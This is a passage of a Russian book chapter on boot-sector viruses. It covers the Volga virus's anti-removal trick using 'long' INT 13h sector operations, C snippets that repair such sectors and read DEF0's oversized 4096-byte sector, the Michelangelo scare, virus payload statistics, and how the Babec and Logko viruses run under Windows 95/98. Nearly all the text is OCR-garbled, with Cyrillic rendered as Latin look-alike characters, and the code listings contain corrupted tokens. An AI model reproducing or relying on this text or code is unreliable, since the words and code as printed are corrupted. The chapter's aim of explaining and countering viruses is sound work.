u3 Bupyca 64 Gaiita TaGJIMIIbI PA3/IesioB, a OTOM 3alliCaTh OJTyYEHHBII
KO/l Ha cBoe 3akoHHOe MecTo — B cektop {0,0,1} skectkoro aucka. Touno
TaK JKe JIJIST <UCIIeIeHUsT» IUCKEThl HAJI0 UMeThb COJIEPIKUMOE CTaHIAPTHO-
ro boot-cexkropa (1Jis1 ka0l BepCUU OIEPALMOHHOI crcTeMbl — cBoel),
B KOTOPOE HY’KHO TIEPEHECTH U3 BUPYyca TabJIHILy TTapaMeTPOB AUCKEThI, U
BCE BMECTE 3TO TIOMECTUTH B CTAPTOBbIIL CEKTOP THOKOTO JIHCKA.

2.4.3. MexaHu3mMbl NPOTUBOAENCTBUSA yAANEHUIO
BUPYCOB

Opnnako lajieko He Bce 3arpPy304Hble BUPYChI CIIOKOWHO MUPSTCS C TIEP-
CIIEKTUBOI CBOETo 0OHAPY/KEHM U YHUUTOKeHus. Bot, Harnpumep, ¢par-
ment omucanus (or E. Kacnepckoro) mis Bupycos cemeiictsa Volga
(VolGU).

...Bupycsbl nepexsatbiBatoT nnpepsiBaHne INT 13h (obpaLueHvie k avc-
Ky) v caegsaT 3a ornepaumsMmm YTeHUs/3arnmcuy.

...[Mpun 3anucu cektopa vy CEeKTOPOB 4Yepe3 OObIYHYIO (QYHKLMNIO
(AH=03h) Bupyc 3anuceiBaeT cektopa ro 04HOMY C MOMOLLbIO QYHK-
Lnm «3anncb AJIMHHbIX cekTopoB» (AH=0Bh)... [pn 4yTeHnn cekTopos
C MoMOoLLbI0 0BbIYHON QyHKUMN 4TeHnss (AH=02h) Bupycbl Takxe me-
HSIIOT YHKUMIO Ha «4TeHMe A/IMHHbIX cekTopoB» (AH=0Ah), koTopasi
YUTaeT Kak cekTopa, 3anncaHHbie pyHkumer AH=02h, Tak v 3anucaH-
Hble pyHkumeri AH=0Bh.
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B pesynbTare 4acTtb CEKTOPOB ANCKA (TO €CTb B KOTOPbIE MPOMN30LLA
3anucb) oka3biBaroTces B popmare LONG, a octasibHbie — B CTaHAaPT-
HOM opmare... B 3apaxxeHHOV cucTteme ANCKMN YUTaKTCS Kak 00blY-
HO, HO r10cJ1e yaaneHus BUpyca nu3 namsitvi v rnocsie yaaaeHus BUpy-
ca n3 MBR v 3arpy3ke ¢ 44CTOro AnckKa... BCe nopaxeHHble cekTopa
nepectaroT yntarbcs cpeactBamu DOS...

Jna ncnpaBneHus Takmx CEKTOPOB TpebyeTcs crieumasbHasi rnpo-
rpamma, KoTopas AOJIKHA 4YnTaTtb oApsi[ BCE cekTopa Ha ANCKe
00bI4HOV pyHKkUmer yTeHns (INT 13h AH=02h), noka He HavgeTcs
cOOViHbIV cekTop. COOMHBbIN CEeKTOP YUTAETCS Yepe3 QYHKUMIO «4Te-
Hue» AnnHHbIx cekTopoB (INT 13h, AH=0Ah), v ecav 4TeHne nPoLLIo
YCreLLHO, 3anncbiBaeTCcss 06paTtHo Yyepe3d 00bIYHYI0 YHKUMIO 3arncm
(INT 13h AH=02h). Ha ncnpaBrieHue nopaxeHHOro Takum obpas3om
avcka TpebyeTcss 3Ha4YnTeIbHOE BPEMS — OT HECKOJIbKUX MUHYT A0
yaca n bosiee (B 3aBUCMMOCTM OT 0Obema ANCKa U ero BpeMeHu A0-
crtyna).

XUTPOYMHBII aBTOP BUPYyCa BOCIIOJIb30BAIC TeM (DAKTOM, YTO, KpOMe
«OOBIYHBIX> OTIEPAIUil YTEHUS 1 3aTIUCU CEKTOPOB, pepbiBatue 13h tak-
JKe TIOJJIEPIKMBACT JIJIs BUHYECTEPA UX «PacliipeHHbiey BapuanTsl. O0b-
€M CYMTBIBAEMOM MJIM 3aIMCbIBaeMON UH(MOPMAIIMU COCTABIISAET B 3TOM
caydae 516 6aiiToB, U3 HUX 4 TIOCIEHUX GaiiTa COMEPKAT KOHTPOJIBHYIO
CYMMY YHTAEMOT'0 UJIH 3aIIMChIBAEMOTO co/iepskuMoro. CekTopa, 3arncaH-
HbIE B «[WITHHOM» (popMaTe, YUTAIOTCA «OOBIYHON» KOMAHIOM € OMOKOiT
KOHTPOJIbHON CYyMMBIL.

OsnakoMuBIICH ¢ «perentom» ot E. Kacniepckoro, momnpobyem mpej-
CTaBUTH cebe, Kak MOTJIO ObI BBITJISANETh «Marndeckoe CHaI06be» IS BIH-
JyecTepa, UCIIOPYeHHOTO Bupycom Volga.

int 1,7, k, result;
unsigned char buf [516]

for (i=0;1<MAXTRK;i++) // Unkn no Tpekam
for (3=0; j<MAXHEAD; j++) // Unkn no ronoskam
for (k=0; k<MAXSECT; k++){ // Uukn no cexTopam
result=biosdisk( 0x02, 0x80, j, i, k, 1, buf );// MuTaemca 4ntaTb
if (result) {// Heymaua?
biosdisk( 0x10, 0x80, j, i, k, 1, buf ); // YuTaem "anuHHO"
biosdisk( 0x03, 0x80, j, i, k, 1, buf ); // 3anuchBaem Ha3zapj
}
}

OrmernmM etie opuH HeoObIuHBIN 3arpy3ounbiii Bupyc DEF0, mbirato-
s TPOTUBO/IENCTBOBATH aHTUBUPYCaAM.
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...[Mpwn 3apaxxeHnu ancket opmaTvpyeT LOMNOSTHUTEIbHbIV TPEK, CO-
Jepxallmi eAMHCTBEHHbIV cekTop AnHov 4096 6aiiT, u 3anvcelBaeT
Ty/ia CBOW KOA...

Jles10 B TOM, 4TO IapaMeTPbl JUCKEThI — CEKTOP BMECTUMOCTbIO 512 Gaii-
ToB, 40 nm 80 nopoxek, o 9 10 18 ceKTOPOB HA TOPOKKE — SBISIOTCS
«CTaHIAPTHBIMK» TOJIBKO JIJIs ONepalliOHHbIX crcteM ot Microsoft. B To
Bpemsa Kak koutposuiep HI'M/I mo3BosgeT co3maBaTh U MCIOJIH30BATh
JINCKETHI, OPraHN30BaHHbIE COBCEM I10 JIPYTUM IpaBujiaM. B yactHOCTH,
BO3BMOsKHA 3armuch wHbopMaiun Ha 80-10 TOPOKKY U B CEKTOP BMECTUMO-
crpio 4096 Gaittos! TTogpobHoe onucanue BO3MOKHOCTENR KOHTPOJLIEPa
U crocob0B UX «HEHOPMATUBHOIO» MCIIOJIb30BAHUS BBIXOAUT 32 PAMKU
manHoi kuuru. TeMm He Menee IIpUBeeM IIPUMeEpP IPOrPaAMMbI, CIIOCOOHOM
[POYUTATDH COJIEPIKUMOE «CEKTOPA-TUTAHTAY.
int

db_seg, // CermenT 6asbl Aucka
db_ofs; // CmeweHne 6asb gucka
unsigned char

buf[40961], // bybep ans maHHbx
db[11]={0xDF, 2, 0x25, 5, 02, 0x2A, OxFF, OxA, O0xF6,25,4}; // basa ancka

db_seg=peek(0, 122); // CoxpaHsiem cTapoe 3HayeHne
db_ofs=peek(0, 120); // appeca 6asb aucka

poke(0, 122, FP_SEG(db[0])); // YcTaHaBnuMBaem ykasaTefb
poke(0, 120, FP_OFF(db[0])); // Ha HoByl 6a3y ancka

biosdisk(0x2, 0, 0, 80, 1, 1, buf );// YuTaem 4096 6GaiTos

// w3 1-ro cekTopa 80-i

// DOPOXKM ANCKeTH A:
poke(0, 122, db_seg); // BoccTaHaBnuBaem cTapoe 3HavyeHue
poke(0, 120, db_ofs); // appeca 6asb aucka
biosdisk(0x0, d, h, t, s, 1, buf ); // COpoc AMCKOBOW MOACUCTEMbI

K mpusenenHoMy (parMeHTy HEeO0OXOAUMO [aTh HEKOTOPbIE MOSIC-
venud. IIporenyper BIOS, npepnasnaueHubie s MaHUTYJIUPOBAHMS
C CEKTOPAaMU JJUCKET, 0OpalaioTcs K CIPaBOYHON MH(MOPMAIUN — TaK Ha-
3bIBaeMOI 6ase oucka. basza nucka — 9T0 OAMHHAAIIATHOANTOBBII MACCUB,
ajipec KOTOPOTO B (hopMaTe «CeTMEHT:CMEIEHIE» PACTIOIATAeTCs B MTO3U-
uu Bektopa 1Eh. B aTom MaccuBe 1o eMernenuio 3 coepsKuTest KoJl pas-
Mmepa cexropa (0 — 128 GaiiTos, 1 — 256 1 T.11.), a 110 CMELIEHUIO 4 — HOMEP
MOCJIETHETO CEKTOPA Ha OPOsKKeE. J[JIst TOro 4TOOBI 3aCTaBUTh JAUCKOBYIO
TOJICUCTEMY YUTATH CEKTOPA HeCTaHI[apTHOI;,I JUIVNHDBI, TJOCTAaTOYHO BPEMEH -
HO M3MEHUTD 6asy JMCKa.

Pasymeetcst, BUPYC, TIOJTHOCTBIO yMelatomuiics B 512 Gaiitax sarpy-
30YHOTO CEKTOPa, TIPOCTO (PUBUUECKU HE MOKET COJIEpPKaTh B cebe 0cob0
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XUTPBIX <«JIOBYIIEK»>. Bcgueckne HaBOPOTbI — MPUBUJIECTUSA «JTAHHBIX>
Bupycos, HantpuMmep DEF0, cBouM K0/10M IMOJTHOCTBIO 3aTTOJTHSIONIETO BCE
4096 6aliTOB «I'MIrAHTCKOIO» CEKTOPA.

WNrak, ciemaeM BBIBOZBI: HEKOTOPBIE 3arpy30YHbIe BUPYCHl HE Tak
POCTO <100 Th>. [TOBEPXHOCTHBII aHATM3 KOJIA «3apPa3bl> U MOIBIT-
Ka TPUBHUAJIBHOTO YJJAJIEHUS €r0 U3 3arPy304HbIX CEKTOPOB MOIYT JI0PO-
0 000UTHCH TOPOILIMBOMY M HEBHUMATEJIbHOMY aKciiepumeHTaTopy. Ho
U3y4YeHUEe XUTPOCTEN U TOHKOCTEH HEKOTOPBIX «IIPOJIBUHYTHIX» BUPYCOB
HE TOJBKO CJIOXKHO M ONACHO, HO TaKkKe OYeHb MHTEPECHO U BeChbMa I0-
JIE3HO JIJIst CaM00OPa30BaHus B 00IACTH CHCTEMHOTO TPOTPAMMUPOBAHHSL.

2.4.4. NposiBneHns 3arpy3o4HbiX BUPYCOB

B cuity cBoero modus vivendi 3arpy3ouHbie BUPYCHI CIIOCOOHBI COCYIIECT-
BOBaTh C «MUPHBIM» [POrPaMMHBIM O0ecIieueHreM, He KOH(IUKTYS ¢
HUM U HUYeM cebst He o6HapyskuBast. Beb GOJBIIMHCTBO U3 HUX MO CBOEH
CYTHU ABJISIOTCS HE YeM WHBIM, KaK BIOJIHE KOPPEKTHO HATMCAHHBIMU Ba-
PUAHTAMM 3aTPY30UHBIX TIPOTPAMM, OTJIMYAIOTIUMUCST OT «CTAHAAPTHBIX>
coOpaTheB JIMIIb YMEHHEM KOIMPOBATH CBOU KOJ| HA JAPYTUE JAUCKETHI U
BUHUYeCTephl. KakoBoe yMeHMe OHU, KCTaTH, COBEPIIEHHO He O0sI3aHbI
JIEeMOHCTPUPOBATh TOCTOSTHHO. VI3BECTHBI ciydyan, KOT/Ia 3arpy30vHbIE
BUPYCBI, HAXOJISICh B JIATEHTHOM COCTOSIHUH, OCTABAJIKMCH B 3aTPY30UHBIX
CEKTOpax aKTUBHO UCII0JIb3yeMOT0 BuHUecTepa 110 7—10 jreT 1 00Hapy:Ku-
BaJIHICh JINIIb CIYIAIHO.

Buanmo, HEKOTOPBIX «TBOPIIOB» pasfipa’kaeT UMEHHO 3TO CBONCTBO
COOCTBEHHBIX «TBOPEHNUIT». VIM TIPOCTO He YAAeTCsT YCUIETh CTOKOWHO Ha
MecTe B OKHMJIAHUU <«CJIaBbl», ITyCTh U aHOHUMHOI. Besb cpok «mpusHa-
HUsT» MOXKET PACTSIHYThCsI HA rO/ibl! DTO TAKOe JKe MYUYHTETbHOE U TSITOCT-
HOE ONIyIIeHNe, KaK U y UTPOKA B TPSATKU, KOTOPBIN HACTOJBKO XOPOIIO
3aMacKMpOBaJICs B MBJIBHOM HA(PTAINHOBOM IKady, YTO €ro HUKAK He
MOTYT 06HAPYKUTh. OCOGEHHO €C/IU B IPATKU UTPAET OH OUH U €ro HU-
KTO 0cOGeHHO 1 He miieT. Kak TyT B caMblil HETOAXOISIINN MOMEHT He
BBICKOYHMTH U3 TKada ¢ IUKUM BOTIJIEM «a BOT U s1»?!

M BBICKAKMBAIOT: BBIBOJAAT HA 9KPaH PasHOOOpasHble M306paKeHust,
WUTPAIOT MY3BbIKATbHBIE (DPasbl, a TO W MPOCTO TMOPTAT WHOOPMAIINIO HA
mucke. Ceituac ussecTHo 0kos10 1000 3arpy30uHBIX BUPYCOB, OOBEIMHEH-
HBIX B HECKOJIBKO COTeH ceMeiicTB. V3 mpumepro 250 ceMeiicTs 3arpy3ou-
HBIX BUPYCOB, OITMCAaHHBIX B KaTasore V. Jlanniosa:

O 42% copmepxarT OTKPOBEHHO [E€CTPYKTHUBHbBIEC, HAIIPABJIEHHBIE HA

YHUUTOKEHHUE U OJI0KUpOBaHKe HHPOPMAIN TPOLELYPbI;
O 40% mneMOHCTPUPYIOT Ha 9KpaHe BUAC0d(PHEKTHI, TO €CTh H300pa-
JKafOT HAMNICH U KaPTUHKY;
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O 8% u3MeHsI0T cucTeMHYIO UHMDOPMAIIO, IBITASICh TPEAOTBPATUTD

cBOE OOHAPYIKEHUE U Y/IAJIEHUE;

Q 6% comepkaT omrbKY, ClIOCOGHbBIE TOMEIIATh HOPMAJTbHON paboTe

Ha KOMIIBIOTEPE;
O 2% nemoHCTpUPYIOT ay1n03DEKTHI, TO €CTh IPOUTPHIBAIOT KaKHe-
TO MEJIOZIMU UJTU TTPOCTO TTUIIAT TUHAMUKOM.

WU ects erte 26% BUPYCOB, KOTOPbBIE He JI€JAI0T HUYETO U3 BBIIIEEpe-
YUCJIEHHOTO U TI0ATOMY MOTYT CUUTATBCS OTHOCUTEJIBLHO HE3aMETHBIMU 1
6e300uaubpMu. Koneuno, B cymme Bee 910 cocrasiser 6osbure 100%, Ho
He cJieyer 3a0bIBaTh, YTO HEKOTOPBIE BUPYCOMUCATENN CKJIOHHDI TPUMe-
HSITh B CBOUX BUPYCAX CPa3y HECKOJBKO PA3HOOOPA3HBIX «IIYTOK».

Hawm, KoHe4HO, B 3TOM KOHTEKCTe 00Jiee BCEr0 MHTEPECHBI BUPYCHI-
«ybuiitpl». W mpesxe Bcero: HACKOJbKO OHM ONACHBI M MOKHO JIM KaK-
HUOY/Ib BOCCTAHOBUTD MOBPEKAEHHYIO M YHUYTOKEHHYIO WH(DOPMATIHIO.

B xauectse npumepa pacemorpuMm Bupyc Stoned.March6 («Michelan-
gelo»). C atum BUpycoM Obljia CBsI3aHa MHTEPECHAst U OYEeHb [TOYYUTENb-
Hag ucropus. B navane 1991 r. Bupycosoramu 611 OOHAPYKEH B «IHUKOI
pUpPOJe» HOBBIIA 3arpy304HbIil BUPYC, CIHOCOOHBII 6 MapTa KasKmoro
rojla yHUUYTOKaThb MHMOpManmio Ha BUHYecTepe. [opasno 1mosxke, KOT-
Jla UCTOPUsI, CBA3AHHAS C OTUM BUPYCOM, ObLJIa B pasrape, KypPHAIUCTHI
obparuii BHUMaHKeE, 4TO 6 MapTa — J€Hb POKAEHUS BEJIMKOTO XY/I0K-
Huka Mukenanmxeno byanoportu. Bupyc Boiiles B UCTOPUIO TOJ Me-
nem «Michelangelo», u Bomen «rpomko» — sumoii 1992 r. 1B KpyIHbIe
aMepuKaHCcKue (UPMBbI, TPOM3BOJUBIINIE TI€PCOHATBHBIE KOMIIBIOTEPDI,
yGJIUYHO MPU3HAICE, YTO CJAYIAHHO PACIIPOCTPAHMIIN TPUJIATABIIIECS]
K KOMIIBIOTEPAM JIMCKEThI C CUCTEMHBIM MPOrPaMMHBIM 0OeCTiedeHreM,
3apakeHHble 3TUM BuUpycoM. HaswiBamuch 1mudpper — ot 500 1o 900 3a-
pakenHbIX aucker. Ha cuemyiomuii genp nadopMalmoHHOE areHTCTBO
UPI B3sto y kpynneiiniero supycosora John MacAfee unrepsbio, 3aBep-
HIMBIIEECS CEHCAIIMOHHBIM BBIBOZIOM: COTHU THICSY KOMIIBIOTEPOB MOTYT
oKazaTbhed 1oJ yaapoM 6 MapTta, B ieHb akTuBaliuu Bupyca. Cruenyronmm
BUTKOM B 9CKaJIallMK UCTEPUU CTAJIO 3asBJieHe arenTcTBa Reuters, B Ko-
TOPOM CO CCHLIKOH OISAThb-Taky Ha MHenue MacAfee yrnomuHamucy ysxe
[ATh MUJIMOHOB MOPAKEHHBIX KOMITBIOTEPOB.

Herpyato npeacraBurh cebe peakiuio IPOCTBIX IOJb30BaTesel, Ha
KOTOPBIX CO CTPAHUIL TA3eT U TEJIEIKPAHOB B O[HOYACHE OOPYIININCH Ta-
KHe Yy/JIOBUII[HbIE «<HOBOCTH». B cuMTanHble 4achl CTOMMOCTD aKIIMii aHTH -
BUPYCHBIX KOMITAHUI MOJICKOYNJIA B HECKOJIBKO Pa3. ITU KOMIIAHUH, CO
CBOEIi CTOPOHBI, TOKE HE CJAUIIKOM CIIEIIUIIN YCIIOKAUBATD IT€PeIryraHHbIX
KOMITBIOTEPHBIX 0ObIBaTeieil. VIcTepust po/0JrKaiach HECKOJIBKO HEJIEb
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U 3aKOHYMIACH yTPoM 7 Mapra. [1o ouinasbHbIM CBeeHUsM, OBLIO 3a-
ukcuposano ot 10 000 1o 20 000... HeT, gake He TOCTPAAABIITUX KOMITHIO-
TepoB, a Bcero Jmiib (HakToB obHapy:xkeHus Bupyca «Michelangelo»,
MIPOUBOIIE/IINX 32 HTOT CPOK. A peasbHbIM yIepboM (MCIIOpUEHHBIMU
JAHHBIMI) MOTJIM <[TOXBACTAThCsI» BPSI JIM OOJiee COTHU TI0JIb30BaTe-
Jiel — Bce-TaKy 3arPy304HbIe BUPYCHI IEPEHOCITCS C MAITMHBI HA MAITUHY
MeJIJIEHHO, 4 TOBCEMECTHOE MCII0JIb30BAHIE «CBEKIX> AHTUBUPYCOB B I10-
cJIe/IHIE HeJIe/N TIepe]] akTHBaIneil ObLIo Gecrperie/IeHTHBIM,

Cuycrs math Jet, B Hayasie Mmapta 1997 r., HeKOTOpbie Cpe/cTBa Mac-
copoit nadopmaruu CIHIA nonbITanuch «peaHnMUpOBaTh TPYTT», BHOBD
BBITAIIIMB HA HOBOCTHBIE UHTEPHET-CANUThl IPOMAXIIYI0 HADTATIHOM
ucropuio o «kpoBaBom Michelangelo» 1 «poxosoii nate». Kak u ciemno-
BAJIO OKU/IATh, HA Hee TOYTH HUKTO He 00paTHJ BHUMAHUS, ¥ Ha HTOT pa3
CEHCATINH HE TIOJMYYUIOCH. BUPyC-TO K TOMY BpeMEHN MOKHO OBLIO HATH
JIIIIb «B TIPOOMPKAX» Y BUPYCOJIOTOB.

A criycrs emne f1Ba rojia, 26 anpesst 1999 r., mocsiezioBasio HeOKUAHHO
KaTacTpopuueckoe MpogoKeHe UCTOpur. BripoueM, MOCKOJbKY «TJIaB-
HBIM TepoeM» Ha aToT pa3 ctaj He «Michelangelos, u naske BooOiie He 3a-
IPY30UHbIil BUPYC, PeUb 06 3TOM MOUJAET B IJIaBe, MOCBSIIEHHON BUPYycaM
st Windows.

Paspymenne wHbopmaluy Ha BUHYECTEPE, HAHECEHHOE 3arpy30u-
HBIM BHUPYCOM, He Bcerza daTtanbHo. Kak mpaBusio, BUPYChl 3aMOJHIIOT
«MYyCOPOM» CEKTOpa — JIMOO CiIydaiiHO BBIOpaHHbIE, MO0 MPUHAIEKA-
[[M€ CUCTEMHBIM OOJIACTSIM JIMCKA. B HEKOTOPBIX CJyYasiX OKA3bIBAETCSI
BO3MOJKHBIM XOTsI ObI YaCTUYHO BOCCTAHOBWTH JAHHBIE HA BUHUYECTEPE.
Cy1ecTBYIOT crieniaabHbie porpamMmel (Harpumep, Tiramisu/Easy Re-
covery), KOTOpbIe MbITAIOTCS C/eJIaTh 9TO, MCIIOJNb3Ysl CIOKHbBIE IBPHC-
THYECKHE aITOPUTMBL. A WHOT/IA HETJIOXUX PE3YIBTATOB MOKHO T0GUTHCS
W CAMOCTOSITENIbHO, BOOPYKUBIIUCH BCETO JIUIITb HOPTOHOBCKUMMU yTHJIN-
TaMu OT Symantec, 3HaHUEM TTPABUJ OpraHu3anu (GhailIoBoi CMCTEMBI HA
JTACKE U 3[[PABBIM CMBICJIOM.

2.4.5. 3arpysouHble Bupycbl u Windows

Cpazy nocJie BKJIOYEHUST TUTaHUS KoMIibioTepa mpoiteccop i80x86 na-
yrHaeT paboTy B TaK HA3bIBAEMOM <«pedibHoM» peskume. Ero oco6eHHo-
CTBIO SIBJISIETCS UCIIOJb30BaHue 16-01TOBOI MIMHBI TaHHBIX 1 20-GUTOBOI
IIUHBI ajipeca, COOTBETCTBEHHO IIPOIECCOP MCIOJIb3yeT TOJAbKO 16-6u-
TOBbIE PEIUCTPBI U cHOCOGeH «yBuueTh» Juiib 1 M6 mamsaru. Tloatomy,
KCTaTH, 5TOT PEKUM MHOIJAA HashbIBAIOT «716-0umosvim». VIMEHHO B 9TOM
peskume pyHKImoHnpytoT mporeaypel BIOS (B Tom umcie n mporemaypa
o6paboTku npepeiBanus 13h) u onepannonHas cucrema MS-DOS.
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Dupma Microsoft gexkmapupyer, 4To olepaloHHble CHCTEMbI CeMeli-
crBa Windows MCIOJIb3YIOT APYIOi, TAK HA3bIBAEMBIN «3AUUUCHIbLI> Pe-
JKUM paboThI IIpolieccopa. B aToM pesknMe perucTpbl COBPEMEHHBIX MPO-
[[eCCOPOB CIOCOGHBI XPaHuTh 32 uii 64 6ura. Mbl CKOHIIEHTPUPYEM CBOE
BHUMaHHE Ha «32-0UTOBOM» PEKUME 1 MOIEPKUBAIOIINX €r0 OTIePaIi-
OHHBIX cucTeMaX. Ha caMoMm jiesie TIOJTHOCTBIO 32-pa3psi/THON SIBJISTIOTCS
To/bKO pasanynbie Bepeun Windows NT (Bkmiouas Windows 2000, XP,
Vista u 1. 1.), a Windows 95/98 /ME 110 Mepe HeoOXOAUMOCTH [EPEKIIIO-
Yal0TCST U3 peskiMa B peskuM. [logpodHee 3TOT BOIPOC OY/IET PACCMOTPEH
B raase «Daiinosbie Bupycol 8 Windows».

Tunuunast onepanuontast cucrema cemeiicrea Windows NT moJiHo-
cTbhio Oeper Ha cebs 06paboTKY J0CTYIIA KO BCEM AUCKOBBIM YCTPOMRCTBAM
4yepe3 MOPThI KOHTPOJLJIEPA. JTO O3HAYAET, UTO JIAKe €CJIM 3arPy30UHbIil
BUPYC II0CJIe BKJIIOUEHWS TMUTAHWS W YCTAHOBUJ CBOW <«arpecCHBHBIN»
o6paboTunk npepbiBanus 13h, Bce paBHO HU onepalMoHHas CUCTEeMa, HU
[IPUKJIAIHBIE TPOTPAMMBI K 9TOMY ITPEPBIBAHUIO IIPOCTO HUKOT/A He OYIyT
obpamarbes. st mopnepskku ncnosrenns 16-6mrosbix DOS-nporpamMm
3aIlyCKaeTcs cleuaibHblii 32-6uToBblii mporiecc NTVDM, KoTopblii Mo-
JEeJIPYET U KOHTPOJUPYET CPEy BBITIOJHEHUST — 0OPabOTUMKH MTPEPhI-
BaHuUH, cayskeOHble 00J1acTH OlepalMOHHON cucTeMbl U T. 1. Biarogaps
HTOMY BUPYC IIPOCTO He OYJIET OMYIIEH K CEKTOPAM JIUCKA.

B Windows 95/98/ME pneno obcrout Heckoabko nnaue. ITo ymosrua-
HUIO MCIOJIb3YIOTCS cOOCTBEHHBIE 32-paspsiiHbIe MPOLELYPHI AOCTYIIA K
muckam. Ho ecsin onepaiiorHast cucremMa 0OHapy KUBAET, YTO HA MOMEHT
3arpysku mpepbiBanue 13h kem-To wam ueM-To mepexBadeHo, TO CUUTA-
€T, YTO «dTO HECIIPOCTa», BKIIOYAET JIJIsI IOCTYIIA K JKECTKOMY ANUCKY (HO
He K fucKere!) Tak Ha3bIBAEMbBIN PeHUM COBMECUMOCYU T WCTIOTb3yeT
«IOCTOPOHHME» 00PABGOTUUKY KAK «POIHBIEY . DTUM 00€CIIeUNBAETCSI, Ha-
npumep, Koppekraas pabora nog Windows 95/98 /ME npaiisepa Ontrack
DiskManager, KOTOpbIil BCTpauBaercs B LEIOUKY 06pabOoTYNKOB IIPephl-
BaHus 13h 110 BUpYCHOMY TIPUHIIUILY W TPAHCIUPYET «BOJIbIIIEe> HOMEPa
CEKTOPOB, ITUJIMH/IPOB U TOJIOBOK COBPEMEHHBIX BUHUYECTEPOB (pa3MepoM
520 M6 u 6oaee) B hopmy, nousaTryio BIOS crapbix MaTepuHCKUX ILIAT.
Ho sutst nocryna k auckeraM HUKaKUX «Mobiakek» 16-61ToBoMy peskiuMy
HUKOI/IA He jieiaeTcst, paboTta MAeT UCKIIOUYNTEIBHO Yepe3 coOCTBEHHbIE
32-6urosbie npoueaypbl Windows.

Wrak, kiaccuyecku HAIlMCAHHbIE 3aTPY30UHble BUPYCHI [10]] COBPEMEH-
HBIMU BepcusaMu Windows He oIy daT yrpaBieHust BO BpeMst 0Opatiie st
K JTUCKETE U 110 ATOW IPUYNHE HE CMOTYT Pa3MHOKATHCS.

KoneuHo, Bupycomucaren He COOUPAIOTCS TaK MPOCTO CAAaBATHCS.
Vimeercs psiii TIOTBITOK 00eCTiednTh XOTs Obl YacTUYHOE (PYHKIIMOHUPO-
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BaHue 3arpy30uHbIX BUPYCcOB B cpese Windows. PaccMoTpuM MexaHU3M,
MCI0JIb30BaHHbIN B BUpyce Babec.

B ocHOBY (byHKIIMOHUPOBAHUSI HTOTO BHUPYCa MOJIOKEHO TO 0OCTOsI-
TeJIbCTBO, YTO OllepanroHHas cucrema cemeiicrsa Windows 95/98 /ME
He BCe allliapaTHble [pepbiBaHus 00cayRkuBaeT 32-0UTOBBIM KOJOM. Be-
POSITHO, BTO CBSI3AHO € TeM, uTo 16-6UTOBBII KO/ 110 CBOEil Ipupoe ro-
paszio GoJsiee KOMIAKTEH, TIPOCT U B GOJIBITMHCTBE CJAYYaeB HUCKOJIBKO HE
npourpsiBaer 32-6utoBoMy Koay B ObictpogeiicTun. Bor u B Windows
95/98/ME pa6ora ¢ KIaBUaTypOil OCYILIECTBIISIETCS <II0 CTAPUHKEY, C HC-
nosbzopanreM BIOS-npepoiBanusa 16h. 1o maeT BOSMOKHOCTD BUPYCY,
[epexBATUBIIEMY KJIABUATYPHOE MPEPhIBAHIE, XOTSI ObI OJHAKIBI TTOJTY-
YUTb yIIPABJIEHHUE.

Wrak, anroput™ paboThl 3arpy304Horo supyca Babec soirsaaut cie-
AYIOUIIM 00pasoM.

1. CraproBas u3 3apaxxennoro MBR, Bupyc mnepexBaTbiBaeT KjiaBua-

TypHOe npepbiBatue 16h.

2. Ilpu KaKIOM HAXKATHM KJABUIIU BUPYC OTCJIEKUBAET COCTOSIHUE
BekTopa pepbiBanus 21h u mbiTaercs nepexBaTuTh €ro. (ATOT BEK-
TOP NPUHAJJIEKUT BUPTYasibHoii Matiuie DOS u «apemiiers B 0:K1-
JaHuy 3a1ycKa Kakoro-a1n6o DOS-npunosxkenust.)

3. O6paboruuk mepexsadyeHHoro npepoiBanusg 21h orcnexusaer Bbi-
3o ¢pyuruuu 0Eh («cMena rexymero aucka» ). Ecau nexas DOS-
porpaMMa MOIMbBITAETCS OOPATUTBCS K AUCKY <«A:» mwin «Bi», TO
HEMEJIJIEHHO HAYMHAET BBIIOJIHIATHCS BIIOJIHE TPAAUIUOHHAS TIPO-
ey pa 3apaskeHust JUCKETBL.

Ette ofHrM mpUMepOM 3arpy304HOTO BHPYCA, CIIOCOOHOTO CYIIECTBO-
BaTh B ycaoBuax Windows, asisgerca paspaborka noz nassanueMm Logko.
ITUM BUPYCOM UCIIOJIB3YETCS TO 0OCTOSITENBCTBO, YTO MEePe]t IEPBbIM 06~
pamenueM K auckere Windows cuutbiBaeT ¢ BUHYecTepa o6paser Koja
3arpy304HOTO CEKTOpa U JieJiaeT ATy orepaiuio yepes npepbisanue 13h.
[lepexBaTuBInuii ykazaHHoe IIPePbIBAHNE BUPYC AHATU3UPYET COMEPIKU-
MOE BCEX CUYUTHIBAEMbIX OTIEPAIHOHHOI CHCTEMOIT CEKTOPOB, U €CJin 0OHa-
pyxuBaer B pabouem Gydepe HeuTo T10XO0Kee Ha Boot-cexTop, TO nenaer
BBIBOJI, YTO B KapMaHe JIUCKOBOJIA MMEETCs JMCKeTa, KOTOPYIO MOKHO T10-
[IBITATHCS 3aPA3UTh.

Takum o6pasom, supycsl Babec u Logko Oyzayr sapaskaTh AUCKETHI
TOJIKO TeX I10JIb30BaTesell, KOTOPble XOTSI U I0JIb3YIOTCSI ONEePAIOH-
HpiMu cucreMamu Windows 95/98 /ME, HO 1Ipo0JIKalOT KOIMPOBATh,
VIAIATH U [I€PENMEHOBBIBATH CBOU (halljibl He IIPU ITOMOIIY Kpaiile Tpo-
MO3/IKOTO U HEeToBOpoTiuBoro «IIpoBognukas, HO, HAIIPUMED, CPEACTBA-
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Mu ctaporo go6poro (u yaobroro!) Norton Commander'a. Crioco6HOCTh
K CaMOCTOSITEJIBHOMY 3aPaK€HUIO JIMCKET B COBPEMEHHBIX YCJOBUSIX Y
Bupycos Babec u Logko soBoJibHO MaJia, Ho He paBHa HyJio! [Ipoune 3a-
IPY30UHbIE BUPYCHI JIa’Ke M ITUM TI0XBACTATHCSI HE MOTYT.

Pasymeetcst, «TPIOKH», HCIIOJIb30BAHHDBIE B 3TUX BUPYyCax, «He cpabo-
TAIOT» B OIEPAIMOHHBIX cucTeMax cemeiictBa Windows NT, u Bupyc He
CMOJKET pa3MHOXKaThCst. O3HAYAET JIW ATO, YTO 3arPy30UHbIE BUPYCHI B HO-
BOM BEKe MOTEPSIIIN AKTYyaJIbHOCTD U cTasin Oe3omacHbivu? Her u ere pas
ser! Eciiu ipy BKIFOYEHUH KOMITBIOTEPA OCTABUTH B KAPMaHe JIUCKOBOJIA
3apPAKEHHYIO JINCKETY, TO «CTApble» 3arpy30YHbIe BUPYCHI MO-TIPEKHEMY
CTIOCOGHBI 3apasuTh BUHYECTED MAIMHBI € JII060i1 ONlepalMoHHON crcTe-
Mo, 6ynp To MS-DOS, Windows, Linux wimn kakas-HuOyab 9K30THYE-
